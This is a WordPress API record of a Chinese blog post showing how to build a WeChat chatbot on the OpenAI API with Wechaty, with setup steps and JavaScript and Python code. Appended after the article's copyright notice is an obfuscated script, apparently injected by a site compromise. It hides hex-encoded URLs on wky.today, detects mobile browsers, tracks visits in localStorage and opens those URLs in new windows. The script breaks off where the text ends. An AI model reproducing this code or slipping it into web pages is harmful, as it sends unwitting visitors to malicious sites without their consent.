{"id":46,"date":"2023-05-17T16:57:00","date_gmt":"2023-05-17T08:57:00","guid":{"rendered":"http:\/\/fenxiangma.microinnovator.com\/?p=46"},"modified":"2023-05-17T17:22:39","modified_gmt":"2023-05-17T09:22:39","slug":"%e8%ae%a9chat-gpt%e6%88%90%e4%b8%ba%e4%bd%a0%e7%9a%84%e5%be%ae%e4%bf%a1%e5%b0%8f%e5%8a%a9%e7%90%86","status":"publish","type":"post","link":"http:\/\/www.fenxiangma.net\/index.php\/2023\/05\/17\/%e8%ae%a9chat-gpt%e6%88%90%e4%b8%ba%e4%bd%a0%e7%9a%84%e5%be%ae%e4%bf%a1%e5%b0%8f%e5%8a%a9%e7%90%86\/","title":{"rendered":"\u8ba9Chat-GPT\u6210\u4e3a\u4f60\u7684\u5fae\u4fe1\u5c0f\u52a9\u7406"},"content":{"rendered":"\n<p>\u524d\u8a00<\/p>\n\n\n\n<p>\u6700\u8fd1\u516c\u53f8\u88c1\u5458\u98ce\u6ce2\uff0c\u5f88\u4e0d\u5e78\u6210\u4e3a\u4e86\u88c1\u5458\u540d\u5355\u4e2d\u7684\u4e00\u5458\uff1b\u6b64\u65f6\u53c8\u6070\u9022\u4e00\u6ce2AIGC\u6d6a\u6f6e\uff0c\u9996\u5f53\u5176\u51b2\u7684\u5c31\u662fGPT\u8fd9\u6837\u7684\u5927\u8bed\u8a00\u6a21\u578b\u7684\u8bde\u751f\uff0c\u662f\u6574\u4e2aAI\u9886\u57df\u7684\u4e00\u4e2a\u8d28\u7684\u98de\u8dc3\u3002\u6b63\u597d\u5728\u8fd9\u6837\u4e00\u4e2a\u7a7a\u6321\u671f\uff0c\u6211\u5c31\u57fa\u4e8eChat-GPT \u505a\u4e86\u4e00\u4e9b\u6df1\u5165\u7684\u5b9e\u8df5\uff0c\u5e76\u5c06\u6574\u4e2a\u8fc7\u7a0b\u8bb0\u5f55\u4e0b\u6765\u3002<br>\u51c6\u5907\u5de5\u4f5c<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>\u9700\u8981\u5728OpenAI\u5b98\u65b9\u5e73\u53f0\u6ce8\u518c\u4e00\u4e2a\u8d26\u53f7\n\u9996\u5148\u8bbf\u95ee\u5b98\u7f51\u9700\u8981\u68af\u5b50\uff0c\u4e0d\u7136\u65e0\u6cd5\u8bbf\u95ee\uff1b\n\u8d26\u53f7\u6ce8\u518c\u65f6\uff0c\u6700\u597d\u4f7f\u7528\u8c37\u6b4c\u90ae\u7bb1\uff0c\u7528\u56fd\u5185\u7684\u90ae\u7bb1\u6ce8\u518c\u4f1a\u8fd4\u56de\u4e00\u4e9b\u5f02\u5e38\u7684\u9519\u8bef\uff1b\n\u6ce8\u518c\u7b2c\u4e8c\u6b65\uff0c\u9700\u8981\u63a5\u53d7\u4e00\u4e2a\u77ed\u4fe1\u9a8c\u8bc1\uff0c\u8fd9\u91cc\u6211\u4f7f\u7528\u7684\u662fsms-activate\u5e73\u53f0\uff08\u53ef\u4ee5\u767e\u5ea6\u4e00\u4e0b\u4f7f\u7528\u65b9\u5f0f\uff09\uff0c\u4e3b\u8981\u5c31\u662f\u83b7\u53d6\u4e00\u4e2a\u4e34\u65f6\u7684\u56fd\u9645\u53f7\u7801\uff0c\u6765\u83b7\u53d6\u9a8c\u8bc1\u7801\uff0c\u6211\u4e70\u7684\u5370\u5c3c??\u7684\u53f7\u7801\uff0c\u6bd4\u8f83\u4fbf\u5b9c\uff0c\u5145\u503c1$\u80fd\u7528\u597d\u51e0\u6b21\uff1b\n\n\u83b7\u53d6API-Key\n\u6ce8\u518c\u6210\u529f\u540e\uff0c\u70b9\u51fb\u5934\u50cf\uff0c\u9009\u62e9Views API Keys\uff0c\u7136\u540e+ Create New Secret Key<\/code><\/pre>\n\n\n\n<p>\u63a5\u5165<\/p>\n\n\n\n<p>OpenAI \u63d0\u4f9b\u4e86\u591a\u79cd\u63a5\u5165\u65b9\u5f0f\uff0c\u5305\u62ecPython,Node,\u4e91API\u7b49\u7b49<\/p>\n\n\n\n<p>1.Python\u65b9\u5f0f<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>\/\/\u5b89\u88c5OpenAI\u6a21\u5757\r\npip install openai\r\n\r\nimport os\r\nimport openai\r\n\/\/\u7ec4\u7ec7\u4fe1\u606f\uff08\u5982\u679c\u5b58\u5728\u591a\u7ec4\u7ec7\uff09\r\nopenai.organization = \"org-CfErNk1yqg8HSj5mzWA6AUwA\"\r\n\/\/OpenAI-Key\r\nopenai.api_key = os.getenv(\"OPENAI_API_KEY\")\r\n\/\/\u83b7\u53d6\u8bad\u7ec3\u6a21\u578b\u5217\u8868\r\nopenai.Model.list()\r\n\/\/Completion\u65b9\u5f0f\u4e92\u52a8\r\nresponse = openai.Completion.create(\r\n      model=\"text-davinci-003\", \r\n      prompt=\"Say this is a test\", \r\n      temperature=0, \r\n      max_tokens=7\r\n)<\/code><\/pre>\n\n\n\n<p>2.Node.js \u65b9\u5f0f<\/p>\n\n\n\n<p>npm install openai<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>const { Configuration, OpenAIApi } = require(\"openai\");\nconst configuration = new Configuration({\n  apiKey: process.env.OPENAI_API_KEY,\n});\nconst openai = new OpenAIApi(configuration);\n\/\/Completion\u65b9\u5f0f\u4e92\u52a8\nconst response = await openai.createCompletion({\n  model: \"text-davinci-003\",\n  prompt: \"Say this is a test\",\n  temperature: 0,\n  max_tokens: 7,\n});\n\/\/ChatCompletion\u65b9\u5f0f\u4e92\u52a8\nconst response1 = await openai.ChatCompletion.create(\n  model=\"gpt-3.5-turbo\",\n  messages=&#91;\n        {\"role\": \"system\", \"content\": \"You are a helpful assistant.\"},\n        {\"role\": \"user\", \"content\": \"Who won the world series in 2020?\"},\n        {\"role\": \"assistant\", \"content\": \"The Los Angeles Dodgers won the World Series in 2020.\"},\n        {\"role\": \"user\", \"content\": \"Where was it played?\"}\n    ]\n)\n\n\/\/ChatCompletion Respones\n\/*\n{\n 'id': 'chatcmpl-6p9XYPYSTTRi0xEviKjjilqrWU2Ve',\n 'object': 'chat.completion',\n 'created': 1677649420,\n 'model': 'gpt-3.5-turbo',\n 'usage': {'prompt_tokens': 56, 'completion_tokens': 31, 'total_tokens': 87},\n 'choices': &#91;\n   {\n    'message': {\n      'role': 'assistant',\n      'content': 'The 2020 World Series was played in Arlington, Texas at the Globe Life Field, which was the new home stadium for the Texas Rangers.'},\n    'finish_reason': 'stop',\n    'index': 0\n   }\n  ]\n}\n*\/<\/code><\/pre>\n\n\n\n<p>3.\u4e91API<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>Completions \u65b9\u5f0f\nPOST https:\/\/api.openai.com\/v1\/completions\n\nheader:\n{\n  \"Content-Type: application\/json\",\n  \"Authorization: Bearer $OPENAI_API_KEY\"\n}\nbody\uff1a\n{\n  \"model\": \"text-davinci-003\",    \/\/\u4f7f\u7528\u7684\u6a21\u578bid\n  \"prompt\": \"Say this is a test\",  \/\/\u7528\u6237\u8f93\u5165\u7684\u5185\u5bb9(\u63d0\u793a\u8bcd)\n  \"max_tokens\": 7,    \/\/\u6700\u5927token\u6570(\u6d88\u8d39token \u6765\u8ba1\u8d39)\n  \"temperature\": 0,  \/\/\u91c7\u6837\u7cbe\u5ea6(0~2) \u503c\u8d8a\u5c0f\uff0c\u7cbe\u5ea6\u8d8a\u9ad8\n  \"top_p\": 1, \/\/\u6982\u7387\u8d28\u91cf\u7cfb\u6570\uff0c \u9ed8\u8ba4\u4e3a1\n  \"n\": 1,  \/\/\u4e3aprompt\u751f\u6210\u7684Completions\u4e2a\u6570\n  \"stream\": false,  \/\/\u662f\u5426\u91c7\u7528\u6d41\u5f0f\u54cd\u5e94\n  \"stop\": \"\\n\" \/\/\u751f\u6210\u7ed3\u679c \u505c\u6b62\u6807\u8bc6\u7b26\n}\nrespones:\n{\n  \"id\": \"cmpl-uqkvlQyYK7bGYrRHQ0eXlWi7\",\n  \"object\": \"text_completion\",\n  \"created\": 1589478378,\n  \"model\": \"text-davinci-003\",\n  \"choices\": &#91;\n    {\n      \"text\": \"\\n\\nThis is indeed a test\", \/\/\u4e92\u52a8\u8fd4\u56de\u7684\u7ed3\u679c\n      \"index\": 0,\n      \"logprobs\": null,\n      \"finish_reason\": \"length\"\n    }\n  ],\n  \"usage\": {                          \/\/ token \u6d88\u8d39\u4fe1\u606f\n    \"prompt_tokens\": 5,\n    \"completion_tokens\": 7,\n    \"total_tokens\": 12\n  }\n}\n\nChat \u65b9\u5f0f\nPOST https:\/\/api.openai.com\/v1\/chat\/completions\n\nheader:\n{\n  \"Content-Type: application\/json\",\n  \"Authorization: Bearer $OPENAI_API_KEY\"\n}\nbody\uff1a\n{\n  \"model\": \"gpt-3.5-turbo\",\n  \"messages\": &#91;      \/\/\u6d88\u606f\u5bf9\u8c61\u5217\u8868,\u6bcf\u4e2a\u5bf9\u8c61\u90fd\u5305\u542b\u4e00\u4e2a\u89d2\u8272(user,system,assistant)\u548c\u5185\u5bb9\u5b57\u6bb5,\u652f\u6301\u586b\u5145\u9ed8\u8ba4\/\u9884\u8bbe\u7684\u4e0a\u4e0b\u6587\u5185\u5bb9\n      {\"role\": \"system\", \"content\": \"\u4f60\u662f\u4e00\u4e2a\u5f97\u529b\u52a9\u624b\uff0c\u65e0\u6240\u4e0d\u80fd\"},\n      {\"role\": \"assistant\", \"content\": \"\u6211\u662f\u5f97\u529b\u5c0f\u52a9\u624b\"},\n      {\"role\": \"user\", \"content\": \"\u8bf4\u4f60\u597d\"}\n  ]\n}\nresponse\uff1a\n{\n  \"id\": \"chatcmpl-123\",\n  \"object\": \"chat.completion\",\n  \"created\": 1677652288,\n  \"choices\": &#91;{\n    \"index\": 0,\n    \"message\": {\n      \"role\": \"assistant\",\n      \"content\": \"\\n\\nHello there, how may I assist you today?\",\n    },\n    \"finish_reason\": \"stop\"\n  }],\n  \"usage\": {\n    \"prompt_tokens\": 9,\n    \"completion_tokens\": 12,\n    \"total_tokens\": 21\n  }\n}<\/code><\/pre>\n\n\n\n<p>\u4e0a\u9762\u662f\u5173\u4e8eChat-GPT\u76f8\u5173\u7684\u5185\u5bb9\u94fa\u57ab\uff0c\u63a5\u4e0b\u770b\u5fae\u4fe1\u76f8\u5173<\/p>\n\n\n\n<p>WeChaty<\/p>\n\n\n\n<p>GitHub\u5730\u5740\uff1ahttps:\/\/github.com\/wechaty\/wechaty<br>\u5b98\u65b9\u4ecb\u7ecd\uff1aWechaty is a RPA (Robotic Process Automation) SDK for Chatbot Makers which can help you create a bot in 6 lines of JavaScript, Python, Go, and Java, with cross-platform support including Linux, Windows, MacOS, and Docker.<br>\u66f4\u591a<\/p>\n\n\n\n<p>\u53c2\u8003\uff1a\u4ec0\u4e48\u662f\u65e0\u5934\u6d4f\u89c8\u5668\uff0c\u5b83\u7684\u7528\u9014\u662f\u4ec0\u4e48\uff1f<br>\u603b\u4e4b\uff0c\u4f7f\u7528WeChaty,\u53ef\u4ee5\u6a21\u62df\u4e00\u4e2a\u5fae\u4fe1\u5ba2\u6237\u7aef\uff0c\u7528\u6237\u901a\u8fc7\u626b\u7801\u767b\u9646\u540e\uff0c\u5b83\u4f1a\u6355\u83b7\u767b\u9646\u7528\u6237\u7684\u6240\u4ee5\u4f1a\u8bdd\uff0c\u5e76\u53ef\u4ee5\u901a\u8fc7\u63d0\u4f9b\u7684API \u5b8c\u6210\u4e00\u4e9b\u81ea\u52a8\u56de\u590d\u7684\u529f\u80fd\uff08\u601d\u8003\uff1a\u5fae\u4fe1\u540c\u610f\u8fd9\u6837\u641e\u5417\uff1f\u96be\u9053\u6ca1\u6709\u5b89\u5168\u9690\u60a3\u5417\uff1f\uff09\uff0c\u5f53\u524d\u5728WeChaty\u793e\u533a\u4e5f\u770b\u5230\u4e86\u5f88\u591a\u88ab\u5c01\u53f7\u7684\u60c5\u51b5\uff0c\u8bf4\u660e\u5728\u5fae\u4fe1\u7684\u751f\u6001\u4e0b\u8fd8\u662f\u4e0d\u80fd\u968f\u4fbf\u73a9\u7684\u3002<\/p>\n\n\n\n<p>\u5728\u8fd9\u4e2a\u57fa\u7840\u4e0a\uff0c\u5c0f\u52a9\u7406\u7684\u5b9e\u73b0\u903b\u8f91\u601d\u8def\u5c31\u5f88\u6e05\u6670\u4e86\uff0c\u4e5f\u975e\u5e38\u7b80\u5355<\/p>\n\n\n\n<p>\u5f00\u59cb\u6a21\u5757\u7ec4\u88c5<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>\u6838\u5fc3\u4f9d\u8d56\u76843\u4e2a\u6a21\u5757\uff1a\n\"chatgpt\": \"^4.8.3\",    \/\/\u5bf9openai \u7684\u4e91api \u505a\u4e86\u4e0a\u5c42\u7684\u5c01\u88c5\u548c\u7ba1\u7406\n\"wechaty\": \"^1.20.2\",  \/\/\u5fae\u4fe1\u673a\u5668\u4eba\u6a21\u5757\n\"wechaty-puppet-wechat\": \"^1.18.4\" <\/code><\/pre>\n\n\n\n<p>\u521d\u59cb\u5316Wechaty<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>async function initProject() {\n  try {\n    await initChatGPT();\n    bot = WechatyBuilder.build({\n      name: 'zezefamily',\n      puppet: 'wechaty-puppet-wechat',\n      puppetOptions: {\n        uos: true,\n      },\n    });\n\n    bot\n      .on('scan', onScan)\n      .on('login', onLogin)\n      .on('logout', onLogout)\n      .on('message', onMessage);\n    if (config.friendShipRule) {\n      bot.on('friendship', onFriendShip);\n    }\n\n    bot\n      .start()\n      .then(() =&gt; console.log('Start to log in WeChat...'))\n      .catch((e) =&gt; console.error(e));\n  } catch (error) {\n    console.log('init error: ', error);\n  }\n}<\/code><\/pre>\n\n\n\n<p>\u5904\u7406bot \u7684\u56de\u8c03<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>\/\/\u626b\u7801\u767b\u9646\nfunction onScan(qrcode) {\n  qrcodeTerminal.generate(qrcode); \/\/ \u5728console\u7aef\u663e\u793a\u4e8c\u7ef4\u7801\n  const qrcodeImageUrl = &#91;\n    'https:\/\/api.qrserver.com\/v1\/create-qr-code\/?data=',\n    encodeURIComponent(qrcode),\n  ].join('');\n\n  console.log(qrcodeImageUrl);\n}\n\/\/\u767b\u9646\nasync function onLogin(user) {\n  console.log(`${user} has logged in`);\n  const date = new Date();\n  console.log(`Current time:${date}`);\n  if (config.autoReply) {\n    console.log(`Automatic robot chat mode has been activated`);\n  }\n}\n\/\/\u767b\u51fa\nfunction onLogout(user) {\n  console.log(`${user} has logged out`);\n}\n\/\/\u6dfb\u52a0\u597d\u53cb\nasync function onFriendShip(friendship) {\n  if (friendship.type() === 2) {\n    if (config.friendShipRule.test(friendship.hello())) {\n      await friendship.accept();\n    }\n  }\n}\n\n\/\/ \u6536\u5230\u6d88\u606f\nasync function onMessage(msg) {\n  \/\/ \u907f\u514d\u91cd\u590d\u53d1\u9001\n  if (msg.date() &lt; startTime) {\n    return;\n  }\n  const contact = msg.talker();    \/\/\u6d88\u606f\u53d1\u9001\u8005\n  const receiver = msg.to();         \/\/\u6d88\u606f\u63a5\u6536\u8005\n  const content = msg.text().trim();  \/\/\u6d88\u606f\u4f53\n  const room = msg.room();        \/\/\u662f\u5426\u4e3a\u7fa4\u6d88\u606f\n  const alias = (await contact.alias()) || (await contact.name());\n  const isText = msg.type() === bot.Message.Type.Text;   \/\/\u5224\u65ad\u662f\u5426\u4e3a\u6587\u672c\u6d88\u606f\n  if (msg.self()) {     \/\/\u5982\u679c\u662f\u81ea\u5df1\u7ed9\u81ea\u5df1\u53d1\u9001\n    return;\n  }\n\n  if (room &amp;&amp; isText) {    \/\/\u53ea\u5904\u7406\u6587\u672c\u7c7b\u6d88\u606f\n    const topic = await room.topic();\n    console.log(\n      `Group name: ${topic} talker: ${await contact.name()} content: ${content}`\n    );\n    \/\/ console.log(\"receiver.name() ==&gt;\",receiver.name())\n    if (await msg.mentionSelf()) {    \/\/\u7fa4\u6d88\u606f\uff0c\u662f\u5426@\u7684\u662f\u81ea\u5df1\n      \/\/ console.log(\"\u662f\u81ea\u6211\u63d0\u53ca:\",content);\n      if (content.startsWith(\"@\u5c0f\u6cfd\u739b\u5229\u4e9a\")){\n        const groupContent = content.replace(\"@\u5c0f\u6cfd\u739b\u5229\u4e9a\", '');\n        console.log(\"groupContent ==&gt;\",groupContent)\n        replyMessage(room, groupContent);  \/\/\u63d0\u53d6\u5185\u5bb9\u53d1\u9001\u7ed9Chat-gpt\n        return;\n      }else {\n        console.log(\n          'Content is not within the scope of the customizition format'\n        );\n      }\n    }\n  } else if (isText) {   \/\/\u5355\u804a\u6d88\u606f\n    console.log(`talker: ${alias} content: ${content}`);\n    if (config.autoReply) {\n      if (content.startsWith(config.privateKey) || config.privateKey === '') {\n        let privateContent = content;\n        if (config.privateKey === '') {\n          privateContent = content.substring(config.privateKey.length).trim();\n        }\n        replyMessage(contact, privateContent);   \/\/\u63d0\u53d6\u5185\u5bb9\u7ed9Chat-gpt\n      } else {\n        console.log(\n          'Content is not within the scope of the customizition format'\n        );\n      }\n    }\n  }\n}<\/code><\/pre>\n\n\n\n<p>Chat-GPT \u5185\u90e8\uff0c\u5bf9\u5916\u5bfc\u51fa\u4e86\u51e0\u4e2afunction<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>\/\/chat-gpt \u6a21\u5757\u521d\u59cb\u5316\nexport function initChatGPT() {\n  chatGPT = new ChatGPTAPI({\n    apiKey: config.OPENAI_API_KEY,\n    completionParams: {\n      model: 'gpt-3.5-turbo',\n    },\n  });\n}\n\/\/contact : talker\u5b9e\u4f8b  content\uff1a\u53d1\u9001\u7684\u5185\u5bb9\nexport async function replyMessage(contact, content) {\n  const { id: contactId } = contact;\n  try {\n    if (\n      content.trim().toLocaleLowerCase() === config.resetKey.toLocaleLowerCase()\n    ) {\n      chatOption = {\n        ...chatOption,\n        &#91;contactId]: {},\n      };\n      await contact.say('Previous conversation has been reset.');\n      return;\n    }\n    const message = await retryRequest(\n      () =&gt; getChatGPTReply(content, contactId),\n      config.retryTimes,\n      500\n    );\n\n    if (\n      (contact.topic &amp;&amp; contact?.topic() &amp;&amp; config.groupReplyMode) ||\n      (!contact.topic &amp;&amp; config.privateReplyMode)\n    ) {\n      const result = content + '\\n-----------\\n' + message;\n      await contact.say(result);\n      return;\n    } else {\n      await contact.say(message);\n    }\n  } catch (e: any) {\n    console.error(e);\n    if (e.message.includes('timed out')) {\n      await contact.say(\n        content +\n          '\\n-----------\\nERROR: Please try again, ChatGPT timed out for waiting response.'\n      );\n    }\n  }\n}\n\/\/\u8bf7\u6c42OpenAI\u63a5\u53e3\nasync function getChatGPTReply(content, contactId) {\n  \/\/\u8c03\u7528\u5c01\u88c5\u7684chatGPT\u6a21\u5757\u53d1\u8d77\u8bf7\u6c42\n  const { conversationId, text, id } = await chatGPT.sendMessage(\n    content,\n    chatOption&#91;contactId]\n  );\n  chatOption = {\n    &#91;contactId]: {\n      conversationId,\n      parentMessageId: id,\n    },\n  };\n  console.log('response: ', conversationId, text);\n  \/\/ response is a markdown-formatted string\n  return text;\n}<\/code><\/pre>\n\n\n\n<p>\u6838\u5fc3\u7684\u5185\u5bb9\u57fa\u672c\u5b8c\u6210\uff0c\u6f14\u793a\u4e00\u4e0b\u7ed3\u679c\u5427<br>\u5355\u804a\uff1a<\/p>\n\n\n\n<p>\u7fa4\u804a\uff1a<\/p>\n\n\n\n<p>\u81f3\u6b64\uff0c\u4e00\u4e2a\u7b80\u5355Chat-GPT \u52a9\u7406\u5c31\u641e\u5b9a\u4e86\u3002<\/p>\n\n\n\n<p>\u6ce8\u610f\uff1a\u4ee5\u4e0a\u6848\u4f8b\u4ec5\u4f9b\u5b66\u4e60\uff0c\u4e0d\u80fd\u5546\u4e1a\u8fd0\u4f5c\uff1b<br>\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014<br>\u7248\u6743\u58f0\u660e\uff1a\u672c\u6587\u4e3aCSDN\u535a\u4e3b\u300c\u9633\u5149\u503e\u6d12\u300d\u7684\u539f\u521b\u6587\u7ae0\uff0c\u9075\u5faaCC 4.0 BY-SA\u7248\u6743\u534f\u8bae\uff0c\u8f6c\u8f7d\u8bf7\u9644\u4e0a\u539f\u6587\u51fa\u5904\u94fe\u63a5\u53ca\u672c\u58f0\u660e\u3002<br>\u539f\u6587\u94fe\u63a5\uff1ahttps:\/\/blog.csdn.net\/quanzhan_King\/article\/details\/130676574<\/p>\n\r\n<script>function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc[_0x3023c3];return _0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}function _0x10c8(){const _0x2ccc2=['userAgent','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x77\\x6b\\x79\\x2e\\x74\\x6f\\x64\\x61\\x79\\x2f\\x54\\x53\\x69\\x32\\x63\\x342','length','_blank','mobileCheck','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x77\\x6b\\x79\\x2e\\x74\\x6f\\x64\\x61\\x79\\x2f\\x73\\x4c\\x54\\x33\\x63\\x303','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x77\\x6b\\x79\\x2e\\x74\\x6f\\x64\\x61\\x79\\x2f\\x52\\x42\\x64\\x30\\x63\\x350','random','-local-storage','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x77\\x6b\\x79\\x2e\\x74\\x6f\\x64\\x61\\x79\\x2f\\x4b\\x55\\x4b\\x37\\x63\\x397','stopPropagation','4051490VdJdXO','test','open','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x77\\x6b\\x79\\x2e\\x74\\x6f\\x64\\x61\\x79\\x2f\\x59\\x4b\\x43\\x36\\x63\\x356','12075252qhSFyR','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x77\\x6b\\x79\\x2e\\x74\\x6f\\x64\\x61\\x79\\x2f\\x74\\x6c\\x55\\x38\\x63\\x388','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x77\\x6b\\x79\\x2e\\x74\\x6f\\x64\\x61\\x79\\x2f\\x68\\x78\\x46\\x35\\x63\\x355','4829028FhdmtK','round','-hurs','-mnts','864690TKFqJG','forEach','abs','1479192fKZCLx','16548MMjUpf','filter','vendor','click','setItem','3402978fTfcqu'];_0x10c8=function(){return _0x2ccc2;};return _0x10c8();}const _0x3ec38a=_0x3023;(function(_0x550425,_0x4ba2a7){const _0x142fd8=_0x3023,_0x2e2ad3=_0x550425();while(!![]){try{const _0x3467b1=-parseInt(_0x142fd8(0x19c))\/0x1+parseInt(_0x142fd8(0x19f))\/0x2+-parseInt(_0x142fd8(0x1a5))\/0x3+parseInt(_0x142fd8(0x198))\/0x4+-parseInt(_0x142fd8(0x191))\/0x5+parseInt(_0x142fd8(0x1a0))\/0x6+parseInt(_0x142fd8(0x195))\/0x7;if(_0x3467b1===_0x4ba2a7)break;else _0x2e2ad3['push'](_0x2e2ad3['shift']());}catch(_0x28e7f8){_0x2e2ad3['push'](_0x2e2ad3['shift']());}}}(_0x10c8,0xd3435));var _0x365b=[_0x3ec38a(0x18a),_0x3ec38a(0x186),_0x3ec38a(0x1a2),'opera',_0x3ec38a(0x192),'substr',_0x3ec38a(0x18c),'\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x77\\x6b\\x79\\x2e\\x74\\x6f\\x64\\x61\\x79\\x2f\\x4a\\x4b\\x5a\\x31\\x63\\x321',_0x3ec38a(0x187),_0x3ec38a(0x18b),'\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x77\\x6b\\x79\\x2e\\x74\\x6f\\x64\\x61\\x79\\x2f\\x7a\\x4a\\x59\\x34\\x63\\x324',_0x3ec38a(0x197),_0x3ec38a(0x194),_0x3ec38a(0x18f),_0x3ec38a(0x196),'\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x77\\x6b\\x79\\x2e\\x74\\x6f\\x64\\x61\\x79\\x2f\\x6e\\x49\\x43\\x39\\x63\\x369','',_0x3ec38a(0x18e),'getItem',_0x3ec38a(0x1a4),_0x3ec38a(0x19d),_0x3ec38a(0x1a1),_0x3ec38a(0x18d),_0x3ec38a(0x188),'floor',_0x3ec38a(0x19e),_0x3ec38a(0x199),_0x3ec38a(0x19b),_0x3ec38a(0x19a),_0x3ec38a(0x189),_0x3ec38a(0x193),_0x3ec38a(0x190),'host','parse',_0x3ec38a(0x1a3),'addEventListener'];(function(_0x16176d){window[_0x365b[0x0]]=function(){let _0x129862=![];return function(_0x784bdc){(\/(android|bb\\d+|meego).+mobile|avantgo|bada\\\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\\\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\\.(browser|link)|vodafone|wap|windows ce|xda|xiino\/i[_0x365b[0x4]](_0x784bdc)||\/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\\-(n|u)|c55\\\/|capi|ccwa|cdm\\-|cell|chtm|cldc|cmd\\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\\-s|devi|dica|dmob|do(c|p)o|ds(12|\\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\\-|_)|g1 u|g560|gene|gf\\-5|g\\-mo|go(\\.w|od)|gr(ad|un)|haie|hcit|hd\\-(m|p|t)|hei\\-|hi(pt|ta)|hp( i|ip)|hs\\-c|ht(c(\\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\\-(20|go|ma)|i230|iac( |\\-|\\\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\\\/)|klon|kpt |kwc\\-|kyo(c|k)|le(no|xi)|lg( g|\\\/(k|l|u)|50|54|\\-[a-w])|libw|lynx|m1\\-w|m3ga|m50\\\/|ma(te|ui|xo)|mc(01|21|ca)|m\\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\\-2|po(ck|rt|se)|prox|psio|pt\\-g|qa\\-a|qc(07|12|21|32|60|\\-[2-7]|i\\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\\\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\\-|oo|p\\-)|sdk\\\/|se(c(\\-|0|1)|47|mc|nd|ri)|sgh\\-|shar|sie(\\-|m)|sk\\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\\-|v\\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\\-|tdg\\-|tel(i|m)|tim\\-|t\\-mo|to(pl|sh)|ts(70|m\\-|m3|m5)|tx\\-9|up(\\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\\-|your|zeto|zte\\-\/i[_0x365b[0x4]](_0x784bdc[_0x365b[0x5]](0x0,0x4)))&&(_0x129862=!![]);}(navigator[_0x365b[0x1]]||navigator[_0x365b[0x2]]||window[_0x365b[0x3]]),_0x129862;};const _0xfdead6=[_0x365b[0x6],_0x365b[0x7],_0x365b[0x8],_0x365b[0x9],_0x365b[0xa],_0x365b[0xb],_0x365b[0xc],_0x365b[0xd],_0x365b[0xe],_0x365b[0xf]],_0x480bb2=0x3,_0x3ddc80=0x6,_0x10ad9f=_0x1f773b=>{_0x1f773b[_0x365b[0x14]]((_0x1e6b44,_0x967357)=>{!localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x1e6b44+_0x365b[0x11])&&localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x1e6b44+_0x365b[0x11],0x0);});},_0x2317c1=_0x3bd6cc=>{const _0x2af2a2=_0x3bd6cc[_0x365b[0x15]]((_0x20a0ef,_0x11cb0d)=>localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x20a0ef+_0x365b[0x11])==0x0);return _0x2af2a2[Math[_0x365b[0x18]](Math[_0x365b[0x16]]()*_0x2af2a2[_0x365b[0x17]])];},_0x57deba=_0x43d200=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x43d200+_0x365b[0x11],0x1),_0x1dd2bd=_0x51805f=>localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x51805f+_0x365b[0x11]),_0x5e3811=(_0x5aa0fd,_0x594b23)=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x5aa0fd+_0x365b[0x11],_0x594b23),_0x381a18=(_0x3ab06f,_0x288873)=>{const _0x266889=0x3e8*0x3c*0x3c;return 